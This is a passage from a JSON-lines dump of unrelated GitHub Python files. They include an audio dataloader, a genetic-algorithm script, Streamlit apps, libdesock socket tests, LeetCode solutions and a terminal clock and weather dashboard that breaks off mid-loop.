pytest.approx(expected_sn_result)\n","repo_name":"datasciencecampus/SigNow_ONS_Turing","sub_path":"tests/test_system.py","file_name":"test_system.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"48"} +{"seq_id":"42262661035","text":"from PIL import Image\r\n\r\n# Load the image\r\nimage = Image.open(\"resim1.jpeg\")\r\n\r\n# Select the area of the image to focus on\r\narea = (100, 100, 200, 200)\r\n\r\n# Pick a point within the selected area\r\npoint = (150, 150)\r\n\r\n# Display the whole image\r\nimage.show()\r\n","repo_name":"BurakCifci/Goruntu-Isleme-BSM409-","sub_path":"Area&point.py","file_name":"Area&point.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15204844263","text":"\"\"\"Rename adminEmail --> admin_email\n\nRevision ID: 67bde1501dde\nRevises: 4b6145b431fe\nCreate Date: 2018-01-19 11:42:40.990548\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '67bde1501dde'\ndown_revision = '4b6145b431fe'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # Rename adminEmail --> admin_email\n op.alter_column('organizations', 'adminEmail', new_column_name='admin_email')\n\n\ndef downgrade():\n op.alter_column('organizations', 'admin_email', new_column_name='adminEmail')\n","repo_name":"MetaGenScope/metagenscope-server","sub_path":"migrations/versions/67bde1501dde_.py","file_name":"67bde1501dde_.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73993977427","text":"\"\"\" Make datasets, loaders for training, validation, test\"\"\"\n\nfrom v2.config import DefaultConfig\nfrom v2.stratify import make_folds\nfrom v2.misc import transform, augment\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\n\n\nclass Freesound(Dataset):\n def __init__(self, dir_name, df, mode, transform=None):\n self.dir_name = dir_name\n self.df = df\n self.mode = mode\n self.transform = transform\n\n def __len__(self):\n return self.df.shape[0]\n\n def __getitem__(self, idx):\n fn = self.df.fname[idx] + '.npy'\n fp = os.path.join(self.dir_name, fn)\n\n # Read and resample the audio\n data = self._random_selection(fp)\n\n if self.transform is not None:\n data = self.transform(data)\n\n if self.mode == 'train' or self.mode == 'val':\n return data, self.df.label_idx[idx]\n elif self.mode == 'test':\n return data\n\n def _random_selection(self, fpath):\n raise NotImplemented\n\n\nclass Freesound_logmel(Freesound):\n def __init__(self, conf, dir_name, df, mode, transform=None, augment=None):\n super().__init__(dir_name=dir_name, df=df, mode=mode, transform=transform)\n self.conf = conf\n self.augment = augment\n self.in_len = conf.input_length\n\n def __getitem__(self, idx):\n return super().__getitem__(idx)\n\n def _random_selection(self, fp):\n logmel = np.load(fp)\n n = logmel.shape[2]\n\n # Random offset / padding\n max_offset = n - self.in_len\n\n # Augmentation, if logmel size < in_len\n if max_offset < 0 and self.augment is not None:\n logmel = self.augment(torch.tensor(logmel))\n logmel = logmel.numpy()\n n = logmel.shape[2]\n max_offset = n - self.in_len\n\n if max_offset > 0:\n offset = np.random.randint(max_offset)\n logmel = logmel[:, :, offset:(self.in_len + offset)]\n else:\n if max_offset < 0:\n max_offset = abs(max_offset)\n offset = np.random.randint(max_offset)\n else:\n offset = 0\n logmel = np.pad(logmel, ((0, 0), (0, 0), (offset, max_offset - offset)), 'constant')\n\n return logmel\n\n\ndef make_dataloaders(conf: DefaultConfig, train, val=None, test=None):\n\n method = {\n 'logmel': {'dataset': Freesound_logmel, 'dir_prefix': '_logmel'},\n 'mfcc': None,\n 'wave': None\n }\n kwargs = method[conf.dataloader.method]\n Dataset = kwargs['dataset']\n\n train_dataset = Dataset(conf.dataloader,\n dir_name=conf.rawdata.train['wav'] + kwargs['dir_prefix'],\n df=train,\n mode='train',\n transform=transform['train'][conf.dataloader.train_transform],\n augment=augment['train'][conf.dataloader.train_aug])\n train_dataloader = DataLoader(train_dataset, batch_size=conf.dataloader.batch_size, shuffle=True, num_workers=4)\n\n if val is not None:\n val_dataset = Dataset(conf.dataloader,\n dir_name=conf.rawdata.train['wav'] + kwargs['dir_prefix'],\n df=val,\n mode='val',\n transform=transform['val'][conf.dataloader.val_transform],\n augment=augment['val'][conf.dataloader.val_aug])\n val_dataloader = DataLoader(val_dataset, batch_size=conf.dataloader.batch_size, shuffle=False, num_workers=4)\n else:\n val_dataloader = None\n\n if test is not None:\n test_dataset = Dataset(conf.dataloader,\n dir_name=conf.rawdata.test['wav'] + kwargs['dir_prefix'],\n df=test,\n mode='test',\n transform=transform['test'][conf.dataloader.test_transform],\n augment=augment['test'][conf.dataloader.test_aug])\n test_dataloader = DataLoader(test_dataset, batch_size=conf.dataloader.batch_size, shuffle=False, num_workers=4)\n else:\n test_dataloader = None\n\n return {\n 'train': train_dataloader,\n 'val': val_dataloader,\n 'test': test_dataloader\n }\n\n\ndef stratified_loaders(conf: DefaultConfig):\n train = pd.read_csv(conf.rawdata.train['csv'])\n test = pd.read_csv(conf.rawdata.test['csv'])\n\n # ignore the empty wavs\n test['remove'] = 0\n f_empty = ['b39975f5.wav', '6ea0099f.wav', '0b0427e2.wav']\n test.loc[test.fname.isin(f_empty), 'remove'] = 1\n\n labels = conf.rawdata.labels[:] # make copy\n labels_idx = {label: i for i, label in enumerate(labels)}\n\n train['label_idx'] = train.label.apply(lambda x: labels_idx[x])\n\n n_folds = conf.dataloader.n_folds\n if n_folds:\n generator = make_folds(train, n_folds, conf.dataloader.seed)\n for i, (train, val) in enumerate(generator, 1):\n yield make_dataloaders(conf, train, val, test[test.remove == 0].reset_index(drop=True))\n else:\n yield make_dataloaders(conf, train, val=None, test=test[test.remove == 0].reset_index(drop=True))\n\n\ndef test_loaders(conf: DefaultConfig, n=5):\n \"\"\" Test loader generator, used for making predictions \"\"\"\n test = pd.read_csv(conf.rawdata.test['csv'])\n\n # ignore the empty wavs\n test['remove'] = 0\n f_empty = ['b39975f5.wav', '6ea0099f.wav', '0b0427e2.wav']\n test.loc[test.fname.isin(f_empty), 'remove'] = 1\n\n test = test[test.remove == 0].reset_index(drop=True)\n\n method = {\n 'logmel': {'dataset': Freesound_logmel, 'dir_prefix': '_logmel'},\n 'mfcc': None,\n 'wave': None\n }\n kwargs = method[conf.dataloader.method]\n Dataset = kwargs['dataset']\n\n for i in range(n):\n test_dataset = Dataset(conf.dataloader,\n dir_name=conf.rawdata.test['wav'] + kwargs['dir_prefix'],\n df=test,\n mode='test',\n transform=transform['test'][conf.dataloader.test_transform])\n test_dataloader = DataLoader(test_dataset, batch_size=conf.dataloader.batch_size, shuffle=False, num_workers=4)\n yield test_dataloader\n\n\nif __name__ == '__main__':\n conf = DefaultConfig()\n print(f'{conf.dataloader.n_folds} folds')\n for loaders in stratified_loaders(conf):\n print(f'Train: {len(loaders[\"train\"])}')\n print(f'Val: {len(loaders[\"val\"])}')\n print(f'Test: {len(loaders[\"test\"])}')\n\n conf.dataloader.n_folds = 0\n print(f'{conf.dataloader.n_folds} folds')\n for loaders in stratified_loaders(conf):\n print(f'Train: {len(loaders[\"train\"])}')\n print(f'Test: {len(loaders[\"test\"])}')\n","repo_name":"heorhii-bolotov/Projects","sub_path":"freesound/v2/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":6869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37213399293","text":"import numpy as np\nimport math\n\n\n'''\ndef newGeneration(genPopulation):\n return np.random.randint(2, size=(genPopulation, 512))\n'''\n\n\ndef newGeneration(prevGeneration, grades):\n # Create rules\n cutOff = np.median(grades)\n newFlock = np.zeros(shape=(prevGeneration.shape))\n valid = []\n for i in range(0, len(grades)): # find useful\n if (grades[i] >= cutOff): # Keep\n valid.append(i)\n\n for i in range(0, len(newFlock)): # find useful\n if i+2 < len(valid):\n newFlock[i] = reproduce(prevGeneration[valid[i]],\n prevGeneration[valid[i+1]])\n else:\n randIndex = np.random.randint(len(valid))\n newFlock[i] = mutate(prevGeneration[valid[randIndex]])\n\n return newFlock\n\n\ndef reproduce(father, mother):\n sizeParents = len(mother)\n child = mother\n for i in range(0, sizeParents):\n f_m = np.random.randint(2)\n if f_m:\n child[i] = father[i]\n return child\n\n\ndef mutate(individual):\n for i in range(0, len(individual)):\n if np.random.uniform(0, 1) > 0.99:\n individual[i] = np.random.randint(2)\n return individual\n\n\ndef nextTimeEvolution(worldGrid, rule):\n neighboursGrid = calculateNeighbours(worldGrid)\n size = neighboursGrid.shape\n for i in range(0, size[0]):\n for j in range(0, size[1]):\n newWorld = rule[neighboursGrid[i][j]]\n\n return newWorld\n\n\ndef gradeResult(worldGrid):\n grade = np.zeros(worldGrid.shape)\n firstCheck = (worldGrid == np.roll(worldGrid, 1, axis=0)) + \\\n (worldGrid == np.roll(worldGrid, 1, axis=1))\n secondCheck = worldGrid == np.roll(worldGrid, [1, 1], axis=[0, 1])\n thirdCheck = worldGrid == np.roll(worldGrid, [1, -1], axis=[0, 1])\n notFirstCheck = (firstCheck * -1) + 1\n notSecond = (secondCheck * -1) + 1\n notThird = (thirdCheck * -1) + 1\n\n # Calculate points per square\n grade = firstCheck * -3\n grade += ((notFirstCheck) * (8 * secondCheck + thirdCheck))\n grade -= ((notFirstCheck) * (5 * (notSecond) + (notThird)))\n\n # check for up or right neighbours\n return sum(sum(grade))\n\n\ndef calculateNeighbours(worldGrid):\n neighbours = (math.pow(2, 0) * np.roll(worldGrid, [1, 1], axis=[0, 1]) +\n math.pow(2, 1) * np.roll(worldGrid, [1, 0], axis=[0, 1]) +\n math.pow(2, 2) * np.roll(worldGrid, [1, -1], axis=[0, 1]) +\n math.pow(2, 3) * np.roll(worldGrid, [0, 1], axis=[0, 1]) +\n math.pow(2, 4) * np.roll(worldGrid, [0, 0], axis=[0, 1]) +\n math.pow(2, 5) * np.roll(worldGrid, [0, -1], axis=[0, 1]) +\n math.pow(2, 6) * np.roll(worldGrid, [-1, 1], axis=[0, 1]) +\n math.pow(2, 7) * np.roll(worldGrid, [-1, 0], axis=[0, 1]) +\n math.pow(2, 8) * np.roll(worldGrid, [-1, -1], axis=[0, 1]))\n\n return neighbours.astype(int)\n\n\ndef getFitFunction(initialGrid, individual): # , gridSize):\n for t in range(0, 100): # time evol all the worlds\n neighboursGrid = calculateNeighbours(initialGrid)\n initialGrid = individual[neighboursGrid]\n\n return gradeResult(initialGrid)\n","repo_name":"AlGepe/ComputerModelling_Subject","sub_path":"Genetic_Algorithm/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36478034072","text":"from abc import ABC, abstractmethod\nimport pygame as pg\n\nfrom config import FPS\n\nclass Application(ABC):\n\n def __init__(self, title:str, width:int, height:int):\n self.title = title\n self.width = width\n self.height = height\n \n self.window = pg.display.set_mode((self.width, self.height))\n pg.display.set_caption(self.title)\n\n self.clock = pg.time.Clock()\n self.fps = FPS\n self.runnig = False\n\n @abstractmethod\n def update(self, delta):\n pass\n\n\n def run(self):\n self.runnig = True\n previous_time = pg.time.get_ticks()\n while self.runnig:\n for event in pg.event.get():\n if event.type == pg.QUIT:\n self.runnig = False\n return\n\n self.window.fill(0)\n delta = pg.time.get_ticks() - previous_time\n self.update(delta/1000.0)\n previous_time = pg.time.get_ticks()\n pg.display.flip()\n pg.display.update()\n self.clock.tick(self.fps)\n\n\n\n\n\n","repo_name":"KavinduSanjula/Raycast-3D-python","sub_path":"src/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4834845763","text":"\nimport os\nfrom PIL import Image\nimport numpy as np \nimport glob\nimport streamlit as st \nfrom functools import partial\n\n# Function to Read and Manupilate Images\ndef load_image(fn):\n im = Image.open(fn)\n return im, fn\n\ndef app():\n cwd = os.getcwd()\n\n st.write('This is the home page of `Alogvera\\'s Stable Diffusion x Crypto` Project.')\n\n st.write('In this app, you can introduce new concepts into SD models (such as yourself) and generate images using your best prompts.')\n \n imgs = [load_image(fn) for fn in glob.glob(f\"{cwd}/storage/all_images/*\")]\n\n st.write('''\n Your Gallery\n ''')\n\n def delete(fn):\n os.remove(fn)\n\n for i, (img, fn) in enumerate(imgs):\n st.image(img)\n todelete = partial(delete, fn)\n st.button(label=f\"Delete {i+1}\", on_click=todelete)\n","repo_name":"hithesh98/sd","sub_path":"sdxcrypto/apps/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"71725318226","text":"class Solution(object):\n def verifyPostorder(self, postorder):\n \"\"\"\n :type postorder: List[int]\n :rtype: bool\n \"\"\"\n # left, right , root\n # 本题目按照节点的大小顺序来进行处理\n # 已知的是 左节点最小, ROOT节点中间, 右节点最大\n\n if not postorder and len(postorder) == 0:\n return True\n\n return self.helper(postorder)\n\n def helper(self, postorder):\n if len(postorder) == 0:\n return True\n\n root = postorder[-1]\n right_first = -1\n\n for i in range(len(postorder) - 1):\n if postorder[i] > root:\n right_first = i\n break\n\n for j in postorder[right_first:-1]:\n if j < root:\n return False\n\n return self.helper(postorder[:right_first]) and self.helper(postorder[right_first:-1])\n\n\"\"\"\n回顾一下二叉搜索树的基础:\n 先序遍历:1。根节点\n 2。左节点\n 3。右节点\n 所以导致输出的列表,【根节点,比根节点大的数,比根节点小的数】\n\n 中序遍历:1。左节点\n 2。根节点\n 3。右节点\n 所以导致输出的列表,【比根节点小的数,根节点,比根节点大的数】\n\n 后序遍历:1。左节点\n 2。右节点\n 3。根节点\n 所以导致输出的列表,【比根节点小的数,比根节点大的数,根节点】\n\n现在这题是要看,输出的列表是否符合后序遍历的顺序,我们就可以根据后序遍历的\n规律来进行查看了\n\n1.找到root,并剔除root的影响\n2,找到比根节点大,和比根节点小的分界点\n3,分别这两个序列是否都比根节点大或都比根节点小(查看是否满足后序遍历的规律)\n4,把这两个sequence继续递归分化,重复123的过程\n\ndebug点:\nflag的初始值设定应该是sequence的最后一位,因为若flag = 0 ,然后对于【6,7】来说,无法更新flag\n后进入判断就会报错\n\"\"\"","repo_name":"Andrewlearning/Leetcoding","sub_path":"剑指offer/面试题33. 二叉搜索树的后序遍历序列(TODO别的写法).py","file_name":"面试题33. 二叉搜索树的后序遍历序列(TODO别的写法).py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1516625851","text":"import streamlit as st\nfrom PIL import Image\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import load_model\nimport cv2\n\nclassifier = cv2.CascadeClassifier(\"E:\\Deep Learning\\PROJECTS\\MaskDetector\\haarcascade_frontalface_default.xml\")\ndetector = load_model(\"E:\\Deep Learning\\PROJECTS\\MaskDetector\\dl-model.save\")\n\ndef load_image(img_file):\n img = Image.open(img_file)\n return img\n\ndef main():\n st.title(\"Welcome to Face Mask Detector\")\n menu = [\"Detector\", \"About\"]\n choice = st.sidebar.selectbox(\"Menu\", menu)\n\n if choice == \"Detector\":\n st.subheader(\"Upload the image to check mask\")\n image_file = st.file_uploader(\"Upload Images\", type=[\"png\", \"jpg\", \"jpeg\"])\n if image_file is not None:\n file_details = {\n \"filename\": image_file.name,\n \"filetype\": image_file.type,\n \"filesize\": image_file.size,\n }\n st.write(file_details)\n\n image_array = np.array(load_image(image_file))\n new_image = image_array.copy()\n new_image = cv2.cvtColor(new_image, cv2.COLOR_BGR2RGB)\n faces = classifier.detectMultiScale(new_image, 1.1, 4)\n\n new_image_2 = new_image.copy() # Initialize new_image_2\n\n for x, y, w, h in faces:\n face_img = new_image[y:y+h, x:x+w] # crop the face\n resized = cv2.resize(face_img, (224, 224))\n image_arr = tf.keras.preprocessing.image.img_to_array(resized)\n image_arr = tf.expand_dims(image_arr, 0)\n pred = detector.predict(image_arr)\n score = tf.nn.softmax(pred[0])\n label = np.argmax(score)\n \n if label == 0:\n cv2.rectangle(new_image_2, (x, y), (x+w, y+h), (0, 255, 0), 2)\n cv2.putText(new_image_2, \"mask\", (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 255, 0), 2, cv2.LINE_AA)\n elif label == 1:\n cv2.rectangle(new_image_2, (x, y), (x+w, y+h), (0, 0, 255), 2)\n cv2.putText(new_image_2, \"no mask\", (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 255), 2, cv2.LINE_AA)\n\n # Save the modified image using OpenCV\n output_path = \"out.png\"\n cv2.imwrite(output_path, cv2.cvtColor(new_image_2, cv2.COLOR_RGB2BGR))\n\n # Display the saved image\n st.image(load_image(output_path))\n\n elif choice == \"About\":\n st.subheader(\"About Project\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Pritamstudent/FaceMaskDetector","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6233309593","text":"\"\"\"\nThis file tests that recvmsg, recvmmsg and readv\nwork as expected without MSG_PEEK set.\n\nTarget files:\n - libdesock/src/read.c\n\"\"\"\n\nimport os\nimport random\nimport ctypes\nimport tempfile\n\nimport desock\nimport helper\n\ndef test_read_syscall():\n fd, _ = tempfile.mkstemp()\n data = (ctypes.c_char * 5)()\n len = ctypes.sizeof(data)\n for i in range(len):\n data[i] = i\n assert(desock.write(fd, data, len) == len)\n os.lseek(fd, 0, 0)\n data = (ctypes.c_char * 5)()\n len = ctypes.sizeof(data)\n assert(desock.read(fd, data, len) == len)\n for i in range(len):\n assert(data[i][0] == i)\n desock.close(fd)\n\ndef test_recvfrom():\n # AF_INET\n with helper.StdinPipe() as pipe:\n pipe.write(b\"12345\")\n pipe.close()\n data = (ctypes.c_char * 128)()\n sockaddr = desock.sockaddr_in()\n sockaddr_len = ctypes.c_int(ctypes.sizeof(sockaddr))\n s = desock.socket(desock.AF_INET, desock.SOCK_STREAM, 0)\n desock.connect(s, None, 0)\n assert(desock.recvfrom(s, data, 128, 0, sockaddr, sockaddr_len) == 5)\n desock.close(s)\n assert(data.value == b\"12345\")\n assert(sockaddr.sin_family == desock.AF_INET)\n assert(sockaddr.sin_port == 53764)\n assert(sockaddr.sin_addr == 0x100007f)\n \n # AF_INET6\n with helper.StdinPipe() as pipe:\n pipe.write(b\"12345\")\n pipe.close()\n data = (ctypes.c_char * 128)()\n sockaddr = desock.sockaddr_in6()\n sockaddr_len = ctypes.c_int(ctypes.sizeof(sockaddr))\n s = desock.socket(desock.AF_INET6, desock.SOCK_STREAM, 0)\n desock.connect(s, None, 0)\n assert(desock.recvfrom(s, data, 128, 0, sockaddr, sockaddr_len) == 5)\n desock.close(s)\n assert(data.value == b\"12345\")\n assert(sockaddr.sin6_family == desock.AF_INET6)\n assert(sockaddr.sin6_port == 53764)\n assert(sockaddr.sin6_flowinfo == 0)\n assert(sockaddr.sin6_scope_id == 0)\n assert(bytes(sockaddr.sin6_addr) == bytes([0] * 15 + [1]))\n\ndef test_readv_with_data():\n n = None\n bufs = 1\n buf_len = 1\n iov = helper.create_iovec(bufs, buf_len)\n input = [b\"Y\"]\n \n with helper.StdinPipe() as pipe:\n pipe.write(b\"\".join(input))\n fd = desock._debug_instant_fd(0)\n n = desock.readv(fd, iov, bufs)\n \n assert(n == bufs * buf_len)\n \n for i in range(bufs):\n assert(iov[i].iov_len == buf_len)\n assert(iov[i].iov_base[:buf_len] == input[i])\n \ndef test_readv_without_data():\n iov = helper.create_iovec(1, 0)\n fd = desock._debug_instant_fd(0)\n n = desock.readv(fd, iov, 1)\n assert(n == 0)\n \ndef test_readv_without_desock():\n data = b\"test123\"\n \n def handle_connection(fd):\n nonlocal data\n iov = helper.create_iovec(1, len(data))\n n = desock.readv(fd, iov, 1)\n assert(n == len(data))\n assert(iov[0].iov_base[:len(data)] == data)\n \n helper.interact_with_real_server(handle_connection, data)\n\ndef test_recvmsg_with_data():\n n = None\n bufs = 10\n buf_len = 10\n opt_buf_len = 50\n input = []\n \n for i in range(bufs):\n input.append(bytes([65 + i] * buf_len))\n \n iovs = helper.create_iovec(bufs, buf_len)\n msghdr = helper.create_msghdr(iov=iovs)\n \n with helper.StdinPipe() as pipe:\n pipe.write(b\"\".join(input))\n fd = desock._debug_instant_fd(0)\n n = desock.recvmsg(fd, msghdr, 0)\n \n assert(n == bufs * buf_len)\n assert(msghdr.msg_iovlen == bufs)\n assert(msghdr.msg_flags == 0)\n \n for i in range(bufs):\n assert(msghdr.msg_iov[i].iov_len == buf_len)\n assert(msghdr.msg_iov[i].iov_base[:buf_len] == input[i])\n \ndef test_recvmsg_without_data():\n msghdr = helper.create_msghdr()\n fd = desock._debug_instant_fd(0)\n n = desock.recvmsg(fd, msghdr, 0)\n assert(n == 0)\n\ndef test_recvmsg_without_desock():\n data = b\"test123\"\n \n def handle_connection(fd):\n nonlocal data\n iov = helper.create_iovec(1, len(data))\n msghdr = helper.create_msghdr(iov=iov)\n n = desock.recvmsg(fd, msghdr, 0)\n assert(n == len(data))\n assert(msghdr.msg_iov[0].iov_base[:len(data)] == data)\n \n helper.interact_with_real_server(handle_connection, data)\n \ndef test_recvmmsg_with_data():\n entries = 5\n bufs = 10\n buf_len = 2\n opt_buf_len = 50\n n = None\n input = []\n tmp = []\n \n for i in range(entries * bufs):\n input.append(bytes([65 + i] * buf_len))\n \n for i in range(entries):\n iov = helper.create_iovec(bufs, buf_len)\n msghdr = helper.create_msghdr(iov=iov)\n tmp.append(helper.create_mmsghdr(msghdr))\n \n mmsghdrs = (desock.mmsghdr * entries)(*tmp)\n \n with helper.StdinPipe() as pipe:\n pipe.write(b\"\".join(input))\n fd = desock._debug_instant_fd(0)\n n = desock.recvmmsg(fd, mmsghdrs, entries, 0, None)\n \n assert(n == entries)\n \n for i in range(entries):\n assert(mmsghdrs[i].msg_len == bufs * buf_len)\n \n assert(mmsghdrs[i].msg_hdr.msg_iovlen == bufs)\n assert(mmsghdrs[i].msg_hdr.msg_flags == 0)\n \n for j in range(bufs):\n assert(mmsghdrs[i].msg_hdr.msg_iov[j].iov_len == buf_len)\n assert(mmsghdrs[i].msg_hdr.msg_iov[j].iov_base[:buf_len] == input.pop(0))\n \n assert(len(input) == 0)\n\ndef test_recvmmsg_without_data():\n mmsghdr = helper.create_mmsghdr(helper.create_msghdr())\n fd = desock._debug_instant_fd(0)\n n = desock.recvmmsg(fd, mmsghdr, 0, 0, None)\n assert(n == 0)\n assert(mmsghdr.msg_len == 0)\n \ndef test_recvmmsg_without_desock():\n data = b\"test123\"\n \n def handle_connection(fd):\n nonlocal data\n iov = helper.create_iovec(1, len(data))\n msghdr = helper.create_msghdr(iov=iov)\n mmsghdr = helper.create_mmsghdr(msghdr)\n n = desock.recvmmsg(fd, mmsghdr, 1, 0, None)\n assert(n == 1)\n assert(mmsghdr.msg_hdr.msg_iov[0].iov_base[:len(data)] == data)\n \n helper.interact_with_real_server(handle_connection, data)\n\ndef test_recvmsg_name():\n iov = helper.create_iovec(1, 16)\n namelen = ctypes.sizeof(desock.sockaddr_in())\n msg = helper.create_msghdr(iov=iov, namelen=namelen)\n s, c = helper.get_fake_connection(desock.AF_INET, desock.SOCK_STREAM)\n \n with helper.StdinPipe() as pipe:\n pipe.close()\n assert(desock.recvmsg(c, msg, 0) == 0)\n \n assert(msg.msg_namelen == namelen)\n name = bytes(msg.msg_name[:namelen])\n sin_family = int.from_bytes(name[:2], \"little\")\n assert(sin_family == desock.AF_INET)\n sin_port = int.from_bytes(name[2:4], \"little\")\n assert(sin_port == 53764)\n sin_addr = int.from_bytes(name[4:8], \"little\")\n assert(sin_addr == 0x100007f)\n \n desock.close(s)\n desock.close(c)\n","repo_name":"fkie-cad/libdesock","sub_path":"tests/test_read.py","file_name":"test_read.py","file_ext":"py","file_size_in_byte":6892,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"48"} +{"seq_id":"71326392147","text":"# http://pylint-messages.wikidot.com/all-codes\n# pylint: disable=R0903\n\"\"\"\nThis module is responsible for getting IP address (ipv4 and ipv6) information\nfrom a linux system. It currently has one provider, i.e information from the\n`ip addr show` output\n\"\"\"\nimport io\nimport netshowlib.linux.common as common\nimport re\n\n\ndef parse_ip_cache(fileio):\n \"\"\"\n text scrapes `ip addr show` info to get ipv4 and\n ipv6 info from each interface\n\n :return: has of ip addresses with iface names as keys\n \"\"\"\n ip_cache = {}\n scope = None\n for line in fileio:\n if len(line.strip()) <= 0 or re.search(r'\\s+mtu\\s+', line):\n continue\n # determine interface name\n split_line = line.split()\n # account for interfaces that have '= 0 else 0 )\n \n return max(nums[n-1], nums[n-2])\n","repo_name":"shivammehta25/Fun-Coding","sub_path":"CodeSignal/Interview-Practice/DynamicProgramming_easy/houserobbers.py","file_name":"houserobbers.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74552429906","text":"import os\nimport threading as th\nimport time as t\nimport colorama as c\nimport keyboard as k\nimport pyfiglet as f\nimport requests as r\n\nc.init()\n\ndef move(x, y):\n print(f\"\\033[{y};{x}H\")\n\ndef waitloop():\n while True:\n move(0, os.get_terminal_size()[0])\n print(\"\\r \", end=\"\")\n if k.is_pressed(\"x\"):\n return True\n elif k.is_pressed(\"m\"):\n return False\n\ndef customcol(color):\n return f\"\\033[38;5;{color}m\"\n\ndef rgb(r,g,b):\n return f\"\\033[38;2;{r};{g};{b}m\"\n\ndef clear():\n if os.name == 'nt':\n os.system('cls')\n else:\n os.system('clear')\n\ndef multiprint(*args):\n for val in args:\n print(val)\n\nclear()\n\nw,h = os.get_terminal_size()\n\ntitle = \"Main Menu\"\n\nlogo = customcol(10) + \"\"\"8 8 8 8\\\"\\\"\\\"\\\"8 8\\\"\\\"\\\"\\\"8 8\\\"\\\"\\\"\\\"8 \n8 8 8 eeeee e eeee 8 8 8 8 8 \n8e 8 8 8 88 8 8 8eeee8ee 8eeee8ee 8eeeee \n88 8 8 8 8 8e 8eee 88 8 88 8 88 \n88 8 8 8 8 88 88 88 8 88 8 e 88 \n88ee8ee8 8eee8 88eee 88 88eeeee8 88eeeee8 8eee88\"\"\" + customcol(231)\n\ndef makewin(displogo: bool = False, back: bool = False, clearall: bool = True):\n w = os.get_terminal_size()[0]\n if clearall:\n os.system(\"clear\")\n else:\n move(0,0)\n if back:\n titletxt = customcol(208) + title + \"-\" * (w - len(title) - 12) + f\"(\\033[1mM\\033[0m{customcol(208)}enu)(e\\033[1mX\\033[0m{customcol(208)}it)\" + customcol(231)\n else:\n titletxt = customcol(208) + title + \"-\" * (w - len(title) - 6) + f\"(e\\033[1mX\\033[0m{customcol(208)}it)\" + customcol(231)\n if displogo:\n multiprint(titletxt, logo)\n else:\n multiprint(titletxt)\n\ndef clock(fg: f.Figlet):\n clp = True\n def cloop():\n while clp:\n makewin(False, True)\n print(fg.renderText(t.strftime(\"%c\", t.localtime())))\n t.sleep(0.2)\n ct = th.Thread(target=cloop)\n ct.start()\n \n w = waitloop()\n clp = False\n return w\n\ndef weather(fg: f.Figlet):\n units = \"imperial\"\n \n ip = r.get(\"http://ipwho.is/\").json()[\"ip\"]\n \n data = r.post(\"http://71.112.157.244:8296\", json={\"mode\": \"weather\", \"ip\": ip, \"units\": units})\n jsondt = data.json()\n description = jsondt[\"weather\"][0][\"description\"]\n #make the first letter uppercase\n temp = round(jsondt[\"main\"][\"temp\"], 1)\n description = description[0].upper() + description[1:]\n wind = jsondt[\"wind\"][\"speed\"]\n \n makewin(False, True)\n print(fg.renderText(str(temp)+\"\"+(\"F\" if units == \"imperial\" else \"C\")))\n print(str(wind) + \" \" + (\"mph\" if units == \"imperial\" else \"m/s\") + \" wind\")\n print(description)\n \n return waitloop()\n\ndef bulletin(fg: f.Figlet):\n #get bulletin\n ip = r.get(\"http://ipwho.is/\").json()[\"ip\"]\n \n bt = r.post(\"http://71.112.157.244:8296\", json={\"mode\": \"bulletin\", \"ip\": ip}).json()\n hd = bt[\"headline\"]\n bd = bt[\"body\"]\n sig = bt[\"signature\"]\n \n makewin(False, True)\n \n print(fg.renderText(hd))\n for txt in bd:\n print(txt)\n \n print(\"\\n\"+sig)\n return waitloop()\n\ndef commands(fig):\n history = []\n while True:\n os.system(\"clear\")\n w, h = os.get_terminal_size()\n move(0,h-2)\n print(\"_\"*w)\n cmd = input(\"> \")\n move(0,h-3)\n cmd = cmd.lower()\n if cmd == \"time\":\n print(t.strftime(\"%-I:%m %p\", t.localtime()))\n elif cmd == \"date\":\n print(t.strftime(\"\", t.localtime()))\n elif cmd in [\"exit\", \"x\"]:\n return True\n elif cmd in [\"back\", \"b\", \"menu\", \"m\"]:\n return False\n else:\n print(\"Invalid command!\")\n\ndef main():\n makewin(True)\n options = [f\"\\033[1mC\\033[0m{customcol(231)}lock\",\n f\"\\033[1mW\\033[0m{customcol(231)}eather\",\n f\"\\033[1mB\\033[0m{customcol(231)}ulletin\"]#,\n #f\"C\\033[1mo\\033[0m{customcol(231)}mmands\"]\n print()\n multiprint(*options)\n\nfig = f.Figlet(font=\"LCD\")\n\nmain()\n\nwhile True:\n if k.is_pressed(\"c\"):\n title = \"Clock\"\n if clock(fig):\n break\n else:\n main()\n elif k.is_pressed(\"w\"):\n title = \"Weather\"\n if weather(fig):\n 